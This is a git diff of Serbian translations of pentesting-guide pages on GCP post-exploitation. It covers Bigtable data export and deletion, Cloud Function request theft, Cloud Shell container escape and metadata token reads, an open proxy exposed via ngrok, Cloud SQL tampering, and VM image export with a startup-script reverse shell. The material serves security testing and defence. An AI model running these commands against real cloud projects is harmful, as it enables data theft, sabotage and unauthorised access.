+ +
+ +Izvezi Bigtable u GCS bucket ```bash gcloud dataflow jobs run \ --gcs-location=gs://dataflow-templates-us-//Cloud_Bigtable_to_GCS_Json \ @@ -70,17 +92,25 @@ gcloud dataflow jobs run dump-bigtable3 \ --parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \ --staging-location=gs://deleteme20u9843rhfioue/staging/ ``` +
+ > [!NOTE] -> Prebacite template na `Cloud_Bigtable_to_GCS_Parquet` ili `Cloud_Bigtable_to_GCS_SequenceFile` ako želite Parquet/SequenceFile izlaze umesto JSON. Dozvole su iste; menja se samo putanja template-a. +> Promenite šablon u `Cloud_Bigtable_to_GCS_Parquet` ili `Cloud_Bigtable_to_GCS_SequenceFile` ako želite Parquet/SequenceFile izlaze umesto JSON-a. Dozvole su iste; menja se samo putanja šablona. ### Uvoz redova **Dozvole:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs` -Moguće je uvesti sadržaj cele tabele iz bucketa koji napadač kontroliše pokretanjem Dataflow job-a koji strimuje redove u GCS bucket koji vi kontrolišete. Za ovo napadač će prvo morati da kreira parquet fajl sa podacima koji treba da budu uvezeni, u očekivanoj šemi. Napadač bi mogao prvo da izveze podatke u parquet formatu prateći prethodnu tehniku sa podešavanjem `Cloud_Bigtable_to_GCS_Parquet` i doda nove unose u preuzeti parquet fajl +Moguće je uvesti sadržaj cele tabele iz bucket-a koji napadač kontroliše pokretanjem Dataflow job-a koji strimuje redove u GCS bucket koji vi kontrolišete. Za ovo napadač će prvo morati da kreira parquet fajl sa podacima koji se uvoze u očekivanoj šemi. Napadač može prvo da izveze podatke u parquet formatu prateći prethodnu tehniku sa podešavanjem `Cloud_Bigtable_to_GCS_Parquet` i doda nove unose u preuzeti parquet fajl + + > [!NOTE] -> Imajte na umu da će vam trebati dozvola `iam.serviceAccounts.actAs` nad nekim SA koji ima dovoljno dozvola da izvrši izvoz (po podrazumevanju, ukoliko nije drugačije naznačeno, biće korišćen podrazumevani compute SA). +> Imajte na umu da će vam trebati dozvola `iam.serviceAccounts.actAs` nad nekim SA koji ima dovoljno dozvola da izvede eksport (po podrazumevanju, ako nije drugačije naznačeno, biće korišćen podrazumevani compute SA). + +
+ +Uvoz iz GCS bucketa u Bigtable ```bash gcloud dataflow jobs run import-bt-$(date +%s) \ --region= \ @@ -97,11 +127,17 @@ gcloud dataflow jobs run import-bt-$(date +%s) \ --parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \ --staging-location=gs://deleteme20u9843rhfioue/staging/ ``` +
+ ### Vraćanje rezervnih kopija **Dozvole:** `bigtable.backups.restore`, `bigtable.tables.create`. -Napadač sa ovim dozvolama može vratiti rezervnu kopiju u novu tabelu pod svojom kontrolom kako bi povratio stare osetljive podatke. +Napadač sa ovim dozvolama može da obnovi rezervnu kopiju u novu tabelu pod svojom kontrolom kako bi mogao da povrati stare osetljive podatke. + +
+ +Obnova Bigtable rezervne kopije ```bash gcloud bigtable backups list --instance= \ --cluster= @@ -113,16 +149,22 @@ gcloud bigtable instances tables restore \ --destination-instance= \ --project= ``` +
+ ### Vraćanje izbrisanih tabela **Dozvole:** `bigtable.tables.undelete` -Bigtable podržava soft-deletion sa periodom milosti (obično 7 dana po defaultu). Tokom ovog perioda, napadač koji ima dozvolu `bigtable.tables.undelete` može da obnovi nedavno izbrisanu tabelu i povrati sve njene podatke, potencijalno pristupajući osetljivim informacijama za koje se verovalo da su uništene. +Bigtable podržava soft-brisanje sa periodom zadržavanja (obično 7 dana po podrazumevanoj vrednosti). Tokom tog prozora, napadač koji ima dozvolu `bigtable.tables.undelete` može vratiti nedavno obrisanu tabelu i povratiti sve njene podatke, potencijalno pristupajući osetljivim informacijama za koje se smatralo da su uništene. Ovo je posebno korisno za: -- Oporavak podataka iz tabela koje su odbrambeni timovi izbrisali tokom incident response -- Pristup istorijskim podacima koji su namerno obrisani -- Poništavanje slučajnih ili zlonamernih brisanja radi održavanja persistence +- Obnavljanje podataka iz tabela koje su defenders izbrisali tokom incident response +- Pristup istorijskim podacima koji su namerno uklonjeni +- Poništavanje slučajnih ili zlonamernih brisanja da bi se održala persistence + +
+ +Vraćanje obrisane Bigtable tabele ```bash # List recently deleted tables (requires bigtable.tables.list) gcloud bigtable instances tables list --instance= \ @@ -132,18 +174,24 @@ gcloud bigtable instances tables list --instance= \ gcloud bigtable instances tables undelete \ --instance= ``` +
+ > [!NOTE] -> Operacija undelete radi samo unutar konfigurisane periode zadržavanja (podrazumevano 7 dana). Nakon isteka tog roka, tabela i njeni podaci su trajno obrisani i ne mogu se povratiti ovom metodom. +> Operacija undelete funkcioniše samo u okviru konfigurisane politike zadržavanja (podrazumevano 7 dana). Nakon isteka tog vremenskog perioda, tabela i njeni podaci se trajno brišu i ne mogu se povratiti ovom metodom. -### Kreirajte ovlašćene prikaze +### Kreirajte Authorized Views **Dozvole:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows` -Ovlašćeni prikazi vam omogućavaju da prikažete selektovan podskup tabele. Umesto da poštujete princip najmanjih privilegija, koristite ih da objavite **tačno one skupove osetljivih kolona/redova** za koje vam je stalo i da whitelist-ujete sopstveni principal. +Authorized views vam omogućavaju da prikažete odabrani podskup tabele. Umesto da se pridržavate principa najmanjih privilegija, koristite ih da objavite **tačno one skupove kolona/redova koji sadrže osetljive podatke** koji su vam važni i da stavite na whitelist svoj principal. > [!WARNING] -> Stvar je u tome da da biste kreirali ovlašćeni prikaz takođe morate moći da čitate i mutirate redove u osnovnoj tabeli, dakle ne dobijate nikakvu dodatnu dozvolu — zbog toga je ova tehnika uglavnom beskorisna. +> Problem je što da biste kreirali authorized view, takođe morate imati mogućnost čitanja i menjanja redova u osnovnoj tabeli; dakle ne dobijate nikakva dodatna prava, pa je ova tehnika uglavnom beskorisna. + +
+ +Kreirajte authorized view ```bash cat <<'EOF' > /tmp/credit-cards.json { @@ -166,13 +214,19 @@ gcloud bigtable authorized-views add-iam-policy-binding card-dump \ --instance= --table= \ --member='user:' --role='roles/bigtable.reader' ``` -Pošto je pristup ograničen na Authorized View, odbrambeni timovi često previđaju činjenicu da ste upravo kreirali novu krajnju tačku visoke osetljivosti. +
+ +Pošto je pristup ograničen na view, odbrambeni timovi često zanemare činjenicu da ste upravo kreirali novi endpoint visoke osetljivosti. ### Čitanje Authorized Views -**Dozvole:** `bigtable.authorizedViews.readRows` +**Permissions:** `bigtable.authorizedViews.readRows` -Ako imate pristup Authorized View, možete čitati podatke iz njega koristeći Bigtable klijentske biblioteke tako što ćete u zahtevima za čitanje navesti ime Authorized View. Imajte na umu da će Authorized View verovatno ograničiti šta vam je dostupno u tabeli. U nastavku je primer koji koristi Python: +Ako imate pristup Authorized View, možete čitati podatke iz nje koristeći Bigtable klijentske biblioteke tako što ćete u zahtevima za čitanje navesti ime Authorized View. Imajte na umu da će Authorized View verovatno ograničiti šta možete pristupiti u tabeli. Ispod je primer koji koristi Python: + +
+ +Čitanje iz authorized view (Python) ```python from google.cloud import bigtable from google.cloud.bigtable_v2 import BigtableClient as DataClient @@ -207,19 +261,25 @@ qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'v value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value) print(f" {family}:{qualifier} = {value}") ``` +
+ ### Denial of Service via Delete Operations **Dozvole:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete` -Bilo koja od Bigtable dozvola za brisanje može biti iskorišćena za denial of service napade. Napadač sa tim dozvolama može ometati rad brisanjem kritičnih Bigtable resursa: +Bilo koja od Bigtable delete dozvola može biti iskorišćena za Denial of Service napade. Napadač sa ovim dozvolama može poremetiti rad brišući kritične Bigtable resurse: -- **`bigtable.appProfiles.delete`**: Brisanje aplikacionih profila, što prekida klijentske konekcije i konfiguracije rutiranja -- **`bigtable.authorizedViews.delete`**: Uklanjanje autorizovanih prikaza, čime se onemogućavaju legitimni putevi pristupa za aplikacije -- **`bigtable.authorizedViews.deleteTagBinding`**: Uklanjanje veza tagova iz autorizovanih prikaza -- **`bigtable.backups.delete`**: Uništavanje snapshot-ova rezervnih kopija, čime se uklanjaju opcije za oporavak od katastrofa -- **`bigtable.clusters.delete`**: Brisanje čitavih klastera, što dovodi do trenutne nedostupnosti podataka -- **`bigtable.instances.delete`**: Uklanjanje kompletnih Bigtable instanci, brišući sve tabele i konfiguracije -- **`bigtable.tables.delete`**: Brisanje pojedinačnih tabela, što uzrokuje gubitak podataka i padove aplikacija +- **`bigtable.appProfiles.delete`**: Uklanja aplikacione profile, prekidajući veze klijenata i konfiguracije rutiranja +- **`bigtable.authorizedViews.delete`**: Uklanja ovlašćene prikaze, preseči legitimne puteve pristupa za aplikacije +- **`bigtable.authorizedViews.deleteTagBinding`**: Uklanja tag bindings sa ovlašćenih prikaza +- **`bigtable.backups.delete`**: Uništava backup snimke, uklanjajući opcije za oporavak od katastrofe +- **`bigtable.clusters.delete`**: Briše čitave klastere, uzrokujući neposrednu nedostupnost podataka +- **`bigtable.instances.delete`**: Uklanja cele Bigtable instance, brišući sve tabele i konfiguracije +- **`bigtable.tables.delete`**: Briše pojedinačne tabele, uzrokujući gubitak podataka i padove aplikacija + +
+ +Brisanje Bigtable resursa ```bash # Delete a table gcloud bigtable instances tables delete \ @@ -244,7 +304,9 @@ gcloud bigtable clusters delete \ # Delete an entire instance gcloud bigtable instances delete ``` +
+ > [!WARNING] -> Operacije brisanja su često trenutne i nepovratne. Pre testiranja ovih komandi obavezno napravite rezervne kopije, jer mogu prouzrokovati trajni gubitak podataka i ozbiljne prekide u radu servisa. +> Operacije brisanja su često trenutne i nepovratne. Osigurajte postojanje rezervnih kopija pre testiranja ovih komandi, jer mogu prouzrokovati trajni gubitak podataka i ozbiljan prekid usluge. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md index 2ebf9f4ba..445074dca 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md @@ -12,7 +12,11 @@ Za više informacija o Cloud Build, pogledajte: ### `cloudbuild.builds.approve` -Sa ovom dozvolom možete odobriti izvršenje **codebuild-a koji zahteva odobrenja**. +Sa ovom dozvolom možete odobriti izvršavanje **codebuild** koji zahtevaju odobrenja. + +
+ +Odobri izvršavanje Cloud Build ```bash # Check the REST API in https://cloud.google.com/build/docs/api/reference/rest/v1/projects.locations.builds/approve curl -X POST \ @@ -24,4 +28,6 @@ object (ApprovalResult) }}' \ "https://cloudbuild.googleapis.com/v1/projects//locations//builds/:approve" ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md index 1ee55c20c..7a47be08b 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md @@ -12,20 +12,30 @@ Pronađite informacije o Cloud Functions u: ### `cloudfunctions.functions.sourceCodeGet` -Sa ovom dozvolom možete dobiti **potpisanu URL adresu za preuzimanje izvornog koda** Cloud Function: +Sa ovom dozvolom možete dobiti **potpisani URL za preuzimanje izvornog koda** Cloud Function: + +
+ +Dobijte potpisani URL za preuzimanje izvornog koda ```bash curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \ -H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' ``` -### Steal Cloud Function Requests +
-Ako Cloud Function upravlja osetljivim informacijama koje korisnici šalju (npr. lozinke ili tokeni), sa dovoljno privilegija mogli biste **modifikovati izvorni kod funkcije i exfiltrirati** ove informacije. +### Krađa zahteva Cloud Function -Štaviše, Cloud Functions koje rade u python-u koriste **flask** za izlaganje web servera, ako nekako pronađete ranjivost za injekciju koda unutar flaks procesa (na primer, SSTI ranjivost), moguće je **prepisati handler funkcije** koji će primati HTTP zahteve za **malicioznu funkciju** koja može **exfiltrirati zahtev** pre nego što ga prosledi legit handler-u. +Ako Cloud Function rukuje osetljivim informacijama koje korisnici šalju (npr. lozinke ili tokeni), uz dovoljno privilegija možete **modify the source code of the function and exfiltrate** ove informacije. + +Pored toga, Cloud Functions koje rade u python koriste **flask** za izlaganje web servera. Ako nekako pronađete ranjivost za code injection unutar flaks procesa (na primer SSTI ranjivost), moguće je **override the function handler** koji će primati HTTP zahteve za **malicious function** koja može **exfiltrate the request** pre nego što ih prosledi legitimnom handleru. Na primer, ovaj kod implementira napad: + +
+ +Krađa zahteva Cloud Function (Python injection) ```python import functions_framework @@ -122,4 +132,8 @@ return "Injection completed!" except Exception as e: return str(e) ``` +
+ + + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md index 47c855fcc..236bc55bc 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md @@ -4,7 +4,7 @@ ## Cloud Shell -Za više informacija o Cloud Shell-u pogledajte: +Za više informacija o Cloud Shell pogledajte: {{#ref}} ../gcp-services/gcp-cloud-shell-enum.md @@ -12,22 +12,38 @@ Za više informacija o Cloud Shell-u pogledajte: ### Container Escape -Imajte na umu da Google Cloud Shell radi unutar kontejnera, možete **lako pobjeći na host** tako što ćete uraditi: +Imajte na umu da Google Cloud Shell radi unutar kontejnera — možete **easily escape to the host** tako što ćete uraditi: + +
+ +Container escape commands ```bash sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///google/host/var/run/docker.sock start escaper sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh ``` -Ovo Google ne smatra ranjivošću, ali vam pruža širu sliku o tome šta se dešava u toj sredini. +
-Pored toga, primetite da sa hosta možete pronaći token servisnog naloga: +Ovo google ne smatra ranjivošću, ali ti daje širi uvid u to šta se dešava u tom okruženju. + +Štaviše, obrati pažnju da sa hosta možeš pronaći token servisnog naloga: + +
+ +Get service account from metadata ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` -Sa sledećim opsegom: +
+ +Sa sledećim opsegima: + +
+ +Dobijte opsege servisnog naloga ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes" @@ -35,48 +51,92 @@ https://www.googleapis.com/auth/devstorage.read_only https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/monitoring.write ``` -Enumerišite metapodatke pomoću LinPEAS: +
+ +Enumeriši metapodatke pomoću LinPEAS: + +
+ +Enumeriši metapodatke pomoću LinPEAS ```bash cd /tmp wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh sh linpeas.sh -o cloud ``` -Nakon korišćenja [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) sa tokenom Servisnog Naloga **nije otkrivena nijedna dozvola**... +
-### Koristite ga kao Proxy +Nakon korišćenja [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) sa tokenom Service Account-a **nije otkrivena nijedna dozvola**... -Ako želite da koristite svoju google cloud shell instancu kao proxy, potrebno je da pokrenete sledeće komande (ili ih unesete u .bashrc datoteku): +### Koristite ga kao proxy + +Ako želite da koristite svoju google cloud shell instancu kao proxy, potrebno je da pokrenete sledeće komande (ili ih ubacite u .bashrc fajl): + +
+ +Instalirajte Squid proxy ```bash sudo apt install -y squid ``` -Samo da znate, Squid je HTTP proxy server. Kreirajte **squid.conf** datoteku sa sledećim podešavanjima: +
+ +Samo da znaš, Squid je HTTP proxy server. Kreiraj **squid.conf** fajl sa sledećim podešavanjima: + +
+ +Kreiraj squid.conf fajl ```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 acl all src 0.0.0.0/0 http_access allow all ``` +
+ kopirajte **squid.conf** datoteku u **/etc/squid** + +
+ +Kopirajte konfiguraciju u /etc/squid ```bash sudo cp squid.conf /etc/squid ``` -Konačno pokrenite squid servis: +
+ +Na kraju pokrenite Squid servis: + +
+ +Pokrenite Squid servis ```bash sudo service squid start ``` -Koristite ngrok da omogućite pristup proxy-ju sa spolja: +
+ +Koristite ngrok da bi proxy bio dostupan izvana: + +
+ +Izložite proxy koristeći ngrok ```bash ./ngrok tcp 3128 ``` -Nakon pokretanja, kopirajte tcp:// URL. Ako želite da pokrenete proxy iz pregledača, preporučuje se da uklonite tcp:// deo i port, i da stavite port u polje za port u podešavanjima proxy-a vašeg pregledača (squid je http proxy server). +
-Za bolju upotrebu prilikom pokretanja, .bashrc datoteka bi trebala imati sledeće linije: +Nakon pokretanja kopirajte tcp:// url. Ako želite da pokrenete proxy iz browser-a, preporučuje se da uklonite tcp:// deo i port i stavite port u polje za port u browser proxy podešavanjima (squid je a http proxy server). + +Za lakše korišćenje pri startovanju .bashrc fajl treba da sadrži sledeće linije: + +
+ +Dodajte u .bashrc za automatsko pokretanje ```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ sudo service squid start cd ngrok;./ngrok tcp 3128 ``` -Uputstva su preuzeta sa [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Proverite tu stranicu za druge lude ideje kako da pokrenete bilo koju vrstu softvera (baze podataka pa čak i Windows) u Cloud Shell. +
+ +Uputstva su kopirana sa [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Pogledajte tu stranicu za druge lude ideje kako da pokrenete bilo koji softver (baze podataka pa čak i Windows) u Cloud Shell. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md index cb861c961..af312f7ca 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md @@ -4,7 +4,7 @@ ## Cloud SQL -Za više informacija o Cloud SQL, proverite: +Za više informacija o Cloud SQL pogledajte: {{#ref}} ../gcp-services/gcp-cloud-sql-enum.md @@ -12,7 +12,11 @@ Za više informacija o Cloud SQL, proverite: ### `cloudsql.instances.update`, ( `cloudsql.instances.get`) -Da biste se povezali sa bazama podataka, **samo vam je potreban pristup portu baze podataka** i da znate **korisničko ime** i **lozinku**, nema zahteva za IAM. Dakle, lak način da dobijete pristup, pod pretpostavkom da baza podataka ima javnu IP adresu, je da ažurirate dozvoljene mreže i **dozvolite svojoj IP adresi da joj pristupi**. +Da biste se povezali na baze podataka, potrebno je **samo imati pristup portu baze podataka** i znati **korisničko ime** i **lozinku**; nema posebnih IAM zahteva. Dakle, lak način da dobijete pristup, pod pretpostavkom da baza ima javnu IP adresu, jeste da izmenite dozvoljene mreže i **dozvolite svojoj IP adresi pristup**. + +
+ +Dozvolite svoju IP adresu i povežite se na bazu ```bash # Use --assign-ip to make the database get a public IPv4 gcloud sql instances patch $INSTANCE_NAME \ @@ -25,61 +29,111 @@ mysql -h # If mysql # With cloudsql.instances.get you can use gcloud directly gcloud sql connect mysql --user=root --quiet ``` -Takođe je moguće koristiti **`--no-backup`** da **ometate rezervne kopije** baze podataka. +
-S obzirom na to da su ovo zahtevi, nisam potpuno siguran koje su dozvole **`cloudsql.instances.connect`** i **`cloudsql.instances.login`**. Ako znate, pošaljite PR! +Moguće je takođe koristiti **`--no-backup`** da **poremete rezervne kopije** baze podataka. + +Pošto su ovo zahtevi, nisam potpuno siguran čemu služe dozvole **`cloudsql.instances.connect`** i **`cloudsql.instances.login`**. Ako znaš, pošalji PR! ### `cloudsql.users.list` -Dobijte **spisak svih korisnika** baze podataka: +Dobijte **listu svih korisnika** baze podataka: + +
+ +Prikaži korisnike baze podataka ```bash gcloud sql users list --instance ``` +
+ ### `cloudsql.users.create` -Ova dozvola omogućava **kreiranje novog korisnika unutar** baze podataka: +Ovo dopuštenje omogućava **kreiranje novog korisnika unutar** baze podataka: + +
+ +Kreiranje korisnika baze podataka ```bash gcloud sql users create --instance --password ``` +
+ ### `cloudsql.users.update` -Ova dozvola omogućava **ažuriranje korisnika unutar** baze podataka. Na primer, mogli biste promeniti njegovu lozinku: +Ova dozvola omogućava **ažuriranje korisnika u bazi podataka**. Na primer, možete promeniti njegovu lozinku: + +
+ +Promena lozinke korisnika ```bash gcloud sql users set-password --instance --password ``` +
+ ### `cloudsql.instances.restoreBackup`, `cloudsql.backupRuns.get` -Backup-i mogu sadržati **stare osetljive informacije**, pa je zanimljivo proveriti ih.\ -**Vratite backup** unutar baze podataka: +Bekapovi mogu sadržati **stare osetljive informacije**, zato je korisno proveriti ih.\ +**Vraćanje bekapa** unutar baze podataka: + +
+ +Vraćanje bekapa baze podataka ```bash gcloud sql backups restore --restore-instance ``` -Da bi se to uradilo na diskretniji način, preporučuje se da se kreira nova SQL instanca i da se podaci povuku tamo umesto u trenutno aktivnim bazama podataka. +
+ +Da biste to uradili na prikriveniji način, preporučuje se kreiranje nove SQL instance i oporavak podataka tamo umesto u trenutno pokrenutim bazama podataka. ### `cloudsql.backupRuns.delete` Ova dozvola omogućava brisanje rezervnih kopija: + +
+ +Obriši rezervnu kopiju ```bash gcloud sql backups delete --instance ``` +
+ ### `cloudsql.instances.export`, `storage.objects.create` -**Izvezite bazu podataka** u Cloud Storage Bucket kako biste mogli da joj pristupite odatle: +**Izvezi bazu podataka** u Cloud Storage Bucket tako da joj možete pristupiti odatle: + +
+ +Izvezi bazu u bucket ```bash # Export sql format, it could also be csv and bak gcloud sql export sql --database ``` +
+ ### `cloudsql.instances.import`, `storage.objects.get` -**Uvezi bazu podataka** (prepiši) iz Cloud Storage Bucket-a: +**Uvezi bazu podataka** (prepiši) iz Cloud Storage Bucket: + +
+ +Uvezi bazu podataka iz bucket-a ```bash # Import format SQL, you could also import formats bak and csv gcloud sql import sql ``` +
+ ### `cloudsql.databases.delete` Obriši bazu podataka iz db instance: + +
+ +Obriši bazu podataka ```bash gcloud sql databases delete --instance ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md index b74ccd9a9..e9d2ebfeb 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md @@ -4,37 +4,47 @@ ## Compute -Za više informacija o Compute i VPC (Mreženje) proverite: +Za više informacija o Compute i VPC (Networking) pogledajte: {{#ref}} ../gcp-services/gcp-compute-instances-enum/ {{#endref}} -### Izvoz i inspekcija slika lokalno +### Izvoz i inspekcija VM image-ova lokalno -Ovo bi omogućilo napadaču da **pristupi podacima sadržanim unutar već postojećih slika** ili **kreira nove slike pokrenutih VM-ova** i pristupi njihovim podacima bez pristupa pokrenutom VM-u. +Ovo bi attacker-u omogućilo da **pristupi podacima sadržanim u već postojećim images** ili **kreira nove images pokretnih VMs** i pristupi tim podacima bez direktnog pristupa pokrenutom VM-u. -Moguće je izvesti sliku VM-a u bucket i zatim je preuzeti i montirati lokalno sa komandom: +Moguće je izvesti VM image u bucket, zatim ga preuzeti i montirati lokalno pomoću sledeće komande: + +
+ +Izvoz i preuzimanje VM image-a ```bash gcloud compute images export --destination-uri gs:///image.vmdk --image imagetest --export-format vmdk # The download the export from the bucket and mount it locally ``` -Za izvođenje ove radnje, napadač može zatrebati privilegije nad skladišnim kanti i sigurno **privilegije nad cloudbuild** jer je to **usluga** koja će biti zatražena da izvrši izvoz.\ -Pored toga, da bi ovo funkcionisalo, codebuild SA i compute SA trebaju privilegovane dozvole.\ -cloudbuild SA `@cloudbuild.gserviceaccount.com` treba: +
+ +Pre izvođenja ove radnje napadaču mogu biti potrebne privilegije nad storage bucket-om i svakako **privilegije nad cloudbuild** jer je to **service** koji će biti zatražen da izvrši export\ +Pored toga, da bi ovo radilo codebuild SA i compute SA trebaju privilegovana ovlašćenja.\ +The cloudbuild SA `@cloudbuild.gserviceaccount.com` needs: - roles/iam.serviceAccountTokenCreator - roles/compute.admin - roles/iam.serviceAccountUser -A SA `-compute@developer.gserviceaccount.com` treba: +And the SA `-compute@developer.gserviceaccount.com` needs: -- roles/compute.storageAdmin +- oles/compute.storageAdmin - roles/storage.objectAdmin -### Izvoz i inspekcija snimaka i diskova lokalno +### Izvoz i pregled snapshot-ova i diskova lokalno -Nije moguće direktno izvesti snimke i diskove, ali je moguće **transformisati snimak u disk, disk u sliku** i prateći **prethodni odeljak**, izvesti tu sliku da bi se inspektovala lokalno. +Nije moguće direktno izvesti snapshot-ove i diskove, ali je moguće **transformisati snapshot u disk, disk u image** i prateći **prethodni odeljak**, izvesti tu image da bi se pregledala lokalno + +
+ +Kreiraj disk iz snapshot-a i image iz diska ```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE] @@ -42,65 +52,115 @@ gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] -- # Create an image from a disk gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE] ``` -### Inspekcija slike kreiranjem VM-a +
-Sa ciljem pristupa **podacima pohranjenim u slici** ili unutar **aktivnog VM-a** iz kojeg je napadač **napravio sliku,** moguće je omogućiti spoljnem nalogu pristup slici: +### Pregled Image-a kreiranjem VM-a + +Sa ciljem pristupa **podatcima sačuvanim u image-u** ili unutar **pokrenutog VM-a** sa kojeg je napadač **kreirao image,** moguće je dodeliti eksternom nalogu pristup tom image-u: + +
+ +Dodeli pristup image-u i kreiraj VM ```bash gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \ --member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \ --role='roles/compute.imageUser' ``` -i zatim kreirati novu VM iz nje: +
+ +a zatim kreirajte novu VM instancu iz nje: + +
+ +Kreirajte VM instancu iz image-a ```bash gcloud compute instances create [INSTANCE_NAME] \ --project=[TARGET_PROJECT_ID] \ --zone=[ZONE] \ --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME] ``` -Ako niste mogli dati pristup svom spoljašnjem nalogu preko slike, mogli biste pokrenuti VM koristeći tu sliku u projektu žrtve i **naterati metapodatke da izvrše reverznu ljusku** za pristup slici dodajući parametar: +
+ +Ako niste mogli dati spoljnom nalogu pristup preko image-a, možete pokrenuti VM koristeći taj image u žrtvinom projektu i **naterati metadata da izvrši reverse shell** kako biste pristupili image-u dodavanjem parametra: + +
+ +Create VM with reverse shell in metadata ```bash --metadata startup-script='#! /bin/bash echo "hello"; ' ``` -### Inspekcija snimka/Diska povezivanjem na VM +
-Sa ciljem pristupa **podacima pohranjenim na disku ili snimku, možete transformisati snimak u disk, disk u sliku i pratiti prethodne korake.** +### Pregled Snapshot/Disk priključivanjem na VM -Ili možete **dodeliti spoljašnjem nalogu pristup** disku (ako je početna tačka snimak, dodelite pristup snimku ili kreirajte disk iz njega): +Sa ciljem pristupa **podacima pohranjenim na disk ili snapshot, možete transformisati snapshot u disk, disk u image i pratiti prethodne korake.** + +Ili možete **dodeliti eksternom nalogu pristup** nad diskom (ako je početna tačka snapshot, dajte pristup snapshot-u ili napravite disk iz njega): + +
+ +Dodeli pristup disku ```bash gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member='user:[USER_EMAIL]' \ --role='roles/compute.storageAdmin' ``` -**Priključite disk** na instancu: +
